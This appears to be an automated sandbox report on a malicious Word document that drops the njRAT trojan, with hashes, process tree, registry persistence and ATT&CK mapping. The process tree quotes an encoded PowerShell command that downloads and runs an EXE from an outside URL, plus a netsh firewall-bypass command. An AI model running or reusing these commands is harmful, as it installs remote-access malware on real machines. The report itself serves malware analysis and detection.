njrat | 531471184d5c8eb4ec97c12059b5bbc8f397b3749033f7fd80405a1b560fbb17

General

Target

2a8f04dd_by_Libranalysis.doc
Size

43KB
MD5

2a8f04ddc03f8c4db0821275619b55b4
SHA1

8bf21477518f4f33bbd9f1a0f013302be516ea53
SHA256

531471184d5c8eb4ec97c12059b5bbc8f397b3749033f7fd80405a1b560fbb17
SHA512

27eb081ce75ae5015adc7368b109fd82b6fa7dfab627a4faa0a8cc43aa83385f75906e463b1a0cde23490f0274c150578c923c2fe3e9d2eec9e26492fd717c43

Score

10^/10

njrat evasion persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://meetthepriestessatl.com/August2020.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	412	3916	cmd.exe	WINWORD.EXE

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 1948 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

CfMjPH.exeAddInProcess32.exe

pid process

3548 CfMjPH.exe
2076 AddInProcess32.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
15	1948	powershell.exe

pid	process
3548	CfMjPH.exe
2076	AddInProcess32.exe

Drops startup file 2 IoCs

Processes:

AddInProcess32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0ef5de3f5b1fb89677ba03e41fa0a05a.exe	AddInProcess32.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0ef5de3f5b1fb89677ba03e41fa0a05a.exe	AddInProcess32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

AddInProcess32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\0ef5de3f5b1fb89677ba03e41fa0a05a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\AddInProcess32.exe\" .."	AddInProcess32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\0ef5de3f5b1fb89677ba03e41fa0a05a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\AddInProcess32.exe\" .."	AddInProcess32.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

CfMjPH.exe

description pid process target process

PID 3548 set thread context of 2076 3548 CfMjPH.exe AddInProcess32.exe

description	pid	process	target process
PID 3548 set thread context of 2076	3548	CfMjPH.exe	AddInProcess32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3916 WINWORD.EXE
3916 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeCfMjPH.exe

pid process

1948 powershell.exe
1948 powershell.exe
1948 powershell.exe
3548 CfMjPH.exe
3548 CfMjPH.exe

pid	process
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
3548	CfMjPH.exe
3548	CfMjPH.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

powershell.exeCfMjPH.exeAddInProcess32.exe

description	pid	process
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	3548	CfMjPH.exe
Token: SeDebugPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe
Token: 33	2076	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	2076	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

WINWORD.EXE

pid	process
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE
3916	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WINWORD.EXEcmd.execmd.exepowershell.exeCfMjPH.exeAddInProcess32.exe

description	pid	process	target process
PID 3916 wrote to memory of 412	3916	WINWORD.EXE	cmd.exe
PID 3916 wrote to memory of 412	3916	WINWORD.EXE	cmd.exe
PID 412 wrote to memory of 1032	412	cmd.exe	cmd.exe
PID 412 wrote to memory of 1032	412	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1948	1032	cmd.exe	powershell.exe
PID 1032 wrote to memory of 1948	1032	cmd.exe	powershell.exe
PID 1948 wrote to memory of 3548	1948	powershell.exe	CfMjPH.exe
PID 1948 wrote to memory of 3548	1948	powershell.exe	CfMjPH.exe
PID 1948 wrote to memory of 3548	1948	powershell.exe	CfMjPH.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 3548 wrote to memory of 2076	3548	CfMjPH.exe	AddInProcess32.exe
PID 2076 wrote to memory of 2712	2076	AddInProcess32.exe	netsh.exe
PID 2076 wrote to memory of 2712	2076	AddInProcess32.exe	netsh.exe
PID 2076 wrote to memory of 2712	2076	AddInProcess32.exe	netsh.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2a8f04dd_by_Libranalysis.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SYSTEM32\cmd.exe
cmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:412

C:\Windows\system32\cmd.exe
cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA
3⤵
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948

C:\Users\Admin\AppData\Roaming\CfMjPH.exe
"C:\Users\Admin\AppData\Roaming\CfMjPH.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3548

C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
"C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
6⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe" "AddInProcess32.exe" ENABLE
7⤵
PID:2712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
MD5
6a673bfc3b67ae9782cb31af2f234c68

SHA1
7544e89566d91e84e3cd437b9a073e5f6b56566e

SHA256
978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

SHA512
72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

Download Submit
C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
MD5
6a673bfc3b67ae9782cb31af2f234c68

SHA1
7544e89566d91e84e3cd437b9a073e5f6b56566e

SHA256
978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

SHA512
72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

Download Submit
C:\Users\Admin\AppData\Roaming\CfMjPH.exe
MD5
2300f1b5fea0e1d327cb2d45fed04af2

SHA1
2d057ca49419bc209d81d7cd7f60cf7691d3ea15

SHA256
6e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c

SHA512
37220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163

Download Submit
C:\Users\Admin\AppData\Roaming\CfMjPH.exe
MD5
2300f1b5fea0e1d327cb2d45fed04af2

SHA1
2d057ca49419bc209d81d7cd7f60cf7691d3ea15

SHA256
6e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c

SHA512
37220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163

Download Submit
memory/412-179-0x0000000000000000-mapping.dmp

Download
memory/1032-180-0x0000000000000000-mapping.dmp

Download
memory/1948-184-0x000002D230B46000-0x000002D230B48000-memory.dmp

Filesize
8KB

Download
memory/1948-181-0x0000000000000000-mapping.dmp

Download
memory/1948-182-0x000002D230B40000-0x000002D230B42000-memory.dmp

Filesize
8KB

Download
memory/1948-183-0x000002D230B43000-0x000002D230B45000-memory.dmp

Filesize
8KB

Download
memory/2076-190-0x000000000040747E-mapping.dmp

Download
memory/2076-194-0x0000000004CD0000-0x00000000051CE000-memory.dmp

Filesize
5.0MB

Download
memory/2712-193-0x0000000000000000-mapping.dmp

Download
memory/3548-189-0x0000000004EB0000-0x00000000053AE000-memory.dmp

Filesize
5.0MB

Download
memory/3548-185-0x0000000000000000-mapping.dmp

Download
memory/3548-188-0x0000000004EB0000-0x00000000053AE000-memory.dmp

Filesize
5.0MB

Download
memory/3916-123-0x00007FFC09790000-0x00007FFC0B685000-memory.dmp

Filesize
31.0MB

Download
memory/3916-122-0x00007FFC0B690000-0x00007FFC0C77E000-memory.dmp

Filesize
16.9MB

Download
memory/3916-114-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-118-0x00007FFC11D50000-0x00007FFC14873000-memory.dmp

Filesize
43.1MB

Download
memory/3916-119-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-117-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-116-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-115-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads